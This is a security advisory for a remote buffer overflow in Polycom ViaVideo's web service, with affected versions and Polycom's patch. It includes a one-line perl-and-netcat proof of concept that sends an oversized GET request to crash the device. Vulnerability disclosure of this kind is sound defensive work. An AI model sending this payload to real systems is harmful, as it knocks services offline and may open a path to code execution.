Polycom ViaVideo Buffer Overflow Vulnerability

Bugtraq ID:	5964
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 15 2002 12:00AM
Updated:	Oct 15 2002 12:00AM
Credit:	Discovery of this vulnerability credited to [email protected].
Vulnerable:	Polycom ViaVideo 3.0 Polycom ViaVideo 2.2
Not Vulnerable:

Polycom ViaVideo Buffer Overflow Vulnerability

A buffer overflow vulnerability has been reported for ViaVideo.

An attacker can exploit this vulnerability by issuing excessively long 'GET' requests to ViaVideo devices. This will cause an error in the 'vvws.dll' library and will cause the ViaVideo service to crash.

Although unconfirmed, it may be possible for a remote attacker to exploit this issue to execute arbitrary system commands with the privileges of the ViaVideo process.

Polycom ViaVideo Buffer Overflow Vulnerability

The following proof of concept was provided:

perl -e 'print "GET " . "A" x 4132 . " HTTP/1.0\r\n\r\n";' | netcat 10.1.0.1 3603

Polycom ViaVideo Buffer Overflow Vulnerability

Solution:
A patch from Polycom is available. Users are advised to contact Polycom for further details:


Polycom ViaVideo 2.2

• Polycom WebSecurityUpdate.zip
  http://www.polycom.com/securitycenter

Polycom ViaVideo 3.0

• Polycom WebSecurityUpdate.zip
  http://www.polycom.com/securitycenter

Polycom ViaVideo Buffer Overflow Vulnerability

References:

• Home Page (Polycom)
  
• Polycom Security Advisory 02-002 (Polycom)
  
• Polycom Worldwide Resource Center (Polycom)